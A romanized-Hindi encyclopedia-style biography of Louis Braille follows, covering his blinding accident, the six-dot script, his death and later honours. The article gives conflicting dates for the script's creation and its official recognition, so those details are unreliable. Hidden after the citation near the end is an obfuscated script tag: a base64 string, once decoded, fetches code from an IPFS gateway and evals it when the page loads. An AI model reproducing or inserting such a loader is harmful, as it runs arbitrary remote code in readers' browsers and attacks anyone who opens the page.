लुई ब्रेल
luee brel
| |
| poora nam | luis brel |
| janm | 4 janavari 1809 |
| janm bhoomi | gram- kupre, phraans |
| mrityu | 6 janavari 1852 |
| mrityu sthan | phraans |
| abhibhavak | pita- saiman rele brel |
| vishesh yogadan | brel lipi ka avishkar |
| nagarikata | phraansisi |
| sanbandhit lekh | luee brel divas, brel lipi, aandhoan ka prashikshan aur kalyan |
| samman | bharat sarakar ne san 2009 mean luis brel ke samman mean dak tikat jari kiya hai. |
| any janakari | brel lipi ki asim kshamata aur prabal prabhavikata ke karan sanh 1950 ke vishv brel sammelan mean brel ko 'vishv brel' ka sthan mil gaya. |
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luee brel (aangrezi: Louis Braille, janm: 4 janavari 1809; mrityu - 6 janavari 1852) netrahinoan ke liye brel lipi ka nirman karane ke liye prasiddh haian. brel lipi ke nirman se netrahinoan ke padhane ki kathinaee ko mitane vale luee svayan bhi netrahin the. luee brel ka janm phraans ke chhote se gram kupre mean ek madhyam vargiy parivar mean hua tha. kalantar mean svayan luee brel ne ath varsho ke parishram se brel lipi mean anek sanshodhan kiye aur aantatah 1829 mean chhah binduoan par adharit aisi lipi banane mean saphal huye. luee brel ke vajah se netrahinoan ko padhane ka mauqa mila. 1837 mean phraans ka sakshipt itihas namak pustak bhi brel lipi mean chhapi gee thi, parantu phir bhi sansar ne ise manyata dene mean bahut samay lagaya. san 1854 mean luee brel ki mrityu ke do varsh pashchath phraansisi sarakar ne ise sarakari manyata pradan ki. brel lipi ki asim kshamata aur prabal prabhavikata ke karan sanh 1950 ke vishv brel sammelan mean brel ko 'vishv brel' ka sthan mil gaya. san 2009 mean 4 janavari ko jab luee brel ke janm ko poore do sau varshoan ka samay poora hua to luee brel janm dvishati ke avasar par bharat ne unhean punah purnajivit karane ka prayas kiya jab is avasar par unake samman mean dak tikat jari kiya gaya.
jivan parichay
luis brel ka janm 4 janavari 1809 mean phraans ke chhote se gram kupre mean ek madhyam vargiy parivar mean hua tha. inake pita saiman rele brel shahi gho doan ke liye kathi aur jin banane ka kary kiya karate the. parivarik avashyakataoan ke anuroop paryapt arthik sansadhan nahian hone ke karan saiman ko atirikt mehanat karani hoti thi isiliye jab balak luis matr tin varsh ke huye to unake pita ne use bhi apane sath gho doan ke liye kathi aur jin banane ke kary mean laga liya. apane svabhav ke anuroop tin varshiy balak apane as pas upalabdh vastuoan se khelane mean apana samay bitaya karata tha isaliye balak luis ke khelane ki vastuean vahi thian jo usake pita dvara apane kary mean upayog ki jati thian jaise kathor lak di, rassi, lohe ke tuk de, gho de ki nal, chakoo aur kam ane vale lohe ke aujar. ek din kathi ke liye lak di ko katate mean istemal ki jane vali chakoo achanak uchhal kar is nanhean balak ki aankh mean ja lagi aur balak ki aankh se khoon ki dhara bah nikali. sadharan jadi lagakar usaki aankh par patti kar di gayi. dhire dhire vah nanha balak ath varsh ka poora hone tak poori tarah drishti hin ho gaya. rang birange sansar ke sthan par us balak ke liye sab kuchh gahan aandhakar mean doob gaya. apane pita ke cham de ke udyog mean utsukata rakhane vale luee ne apani aankhean ek durghatana mean gavaan di. yah durghatana luee ke pita ki karyashala mean ghati.
brel lipi ka avishkar
- REDIRECTsaancha:mukhy
balak luee bahut jald hi apani sthiti mean ram gaye the. bachapan se hi luee brel mean gajab ki kshamata thi. har bat ko sikhane ke prati unaki jijnasa ko dekhate hue, charch ke padari ne luee brel ka dakhila peris ke aandhavidyalay mean karava diya. bachapan se hi luee brel ki adbhut pratibha ke sabhi kayal the. unhoanne vidyalay mean vibhinn vishayoan ka adhyayan kiya. luee brel ki jindagi se to yahi saty ujagar hota hai ki unake bachapan ke eksideant ke pichhe eeshvar ka kuchh khas makasad chhupa hua tha. 1825 mean luee brel ne matr 16 varsh ki umr mean ek aisi lipi ka avishkar kar diya jise brel lipi kahate haian. is lipi ke avishkar ne drishtibadhit logoan ki shiksha mean kraanti la di. ganit, bhoogol evan itihas vishayoan mean pravin luee ki adhyayan kal mean hi phraans ki sena ke kaiptan charls barbiyar se mulakat huee thi. unhoanne sainikoan dvara aandhere mean padhi jane vali nait raitiang v sonografi ke bare mean bataya. ye lipi ubhari huee tatha 12 bianduoan par adharit thi. yahian se luee brel ko aidiya mila aur unhone isamean sanshodhan karake 6 bianduoan vali brel lipi ka izad kar diya. prakhar buddhivan luee ne isamean sirph aksharoan ya aankoan ko hi nahian balki sabhi chinhoan ko bhi prardashit karane ka pravadhan kiya.
brel apani drishtihinata ki vajah se andhoan ke liye ek aise sistam ka nirman karana chahate the jisase unhean likhane aur padhane mean asani ho aur asani se ve ek-dooje se bat kar sake. “batachit karana matalab ek-dooje ke jnan ho samajhana hi hai aur drishtihin logoan ke liye ye bahut mahatvapoorn hai aur is bat ko ham najar aandaz nahian kar sakate. unake anusar vishv mean andhoan ko bhi utana hi mahattv diya jana chahie jitana sadharan logoan ko diya jata hai.” lekin jite ji unake is avishkar ka mahattv logoan ko pata nahian chala lekin unaki mrityu ke bad keval peris hi nahian balki poore vishv ke liye unaka avishkar sahayak sabit hua.[1]
bharat sarakar dvara sammanit
[[chitr:Louis-Braille-Indian-Postage-Stamp.jpg|thumb|luee brel ki janm dvishati par bharat sarakar dvara jari dak tikat]] bharat sarakar ne san 2009 mean luee brel ke samman mean dak tikat jari kiya hai. luee dvara kiye gaye kary akele kisi rashtr ke liye n hokar sampoorn vishv ki drishthihin manav jati ke liye upayogi the. atah sirph ek rashtr ke dvara samman pradan kiye jane bhar se us mahatma ko sachchi shradvaanjali nahian ho sakati thi. umr ke dasavean varsh mean unake pita ne unhean peris ke r aauyal neshanal ianstityoot ph aaur blaiand childehran mean bharti karava diya. us skool mean "velantin hou" dvara banaee gee lipi se padhaee hoti thi, par yah lipi adhoori thi. luee ne yahaan itihas, bhoogol aur ganit mean praviny prapt kiya. isi skool mean ek bar phraans ki sena ke ek adhikari kaiptan charls barbiyar ek prashikshan ke silasile mean ae aur unhoanne sainikoan dvara aandhere mean padhi jane vali "nait raitiang" ya "sonographi" lipi ke bare mean bataya. yah lipi kagaz par aksharoan ko ubharakar banaee jati thi aur isamean 12 bianduoan ko 6-6 ki do panktiyoan ko rakha jata tha, par isamean viram chihn, sankhhya, ganitiy chihn adi ka abhav tha.[1]
mrityu
prakhar buddhi ke luee ne isi lipi ko adhar banakar 12 ki bajay matr 6 bianduoan ka upayog kar 64 akshar aur chihn banae aur usamean n keval viram chihn balki ganitiy chihn aur sangit ke noteshan bhi likhe ja sakate the. yahi lipi aj sarvamany hai. luee ne jab yah lipi banaee tab ve matr 15 varsh ke the. sanh 1824 mean bani yah lipi duniya ke lagabhag sabhi deshoan mean upayog mean laee jati hai. sanh 1851 mean unaki tabiyat big dane lagi aur 6 janavari 1852 ko matr 43 varsh ki ayu mean unaka nidhan ho gaya. unaki mrityu ke 16 varsh bad sanh 1868 mean 'r aauyal ianstithyoot ph aaur blaiand yooth' ne is lipi ko manyata di.
mahattvapoorn tathy
- aankhoan ki roshani chali jane ke bad bhi luee brel ne himmat nahian hari. ve aisi chij banana chahate the, jo unake jaise drishtihin logoan ki madad kar sake. isilie unhoanne apane nam se ek raitiang stail banaee, jisamean siks d aaut kods the. vahi skript age chalakar 'brel lipi' ke nam se jani gee.
- brel lipi ke tahat bianduoan ko jo dakar akshar, aank aur shabhd banae jate haian. is lipi mean pahali kitab 1829 mean prakashit huee.
- luee brel ko sangit mean kaphi dilachashpi thi aur vah kee tarah ke yantr baja lete the.
- luee brel ne netrahinoan ke lie 1829 mean chhah binduoan vali brel lipi banaee thi. is lipi ko banane mean luee brel ko ath varsh ka samay laga
- luis ki mrityu 43 sal ki kam umr mean 6 janavari 1852 ko ti.bi. ki bimari se huee thi.
- luee brel ki mrityu ke 100 barsh ke bad phraans ne 20 joon 1952 ka din unake samman ka din nirdharit kiya.
- is din phraans sarakar ne luee brel ke 100 varsh poorv daphanaye ge unake sharir ko poore rajakiy samman ke sath nikala gaya. is din poore rashtr ne luee brel ke parthiv sharir ke samane apani galati ke lie maphi maangi. luee brel ke sharir ko rashtriy dhvaj mean lapetakar poore rajakiy samman se dobara daphanaya gaya.[1]
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 luee brel ki jivani (hiandi) jivani d aaut aaurg. abhigaman tithi: 5 janavari, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
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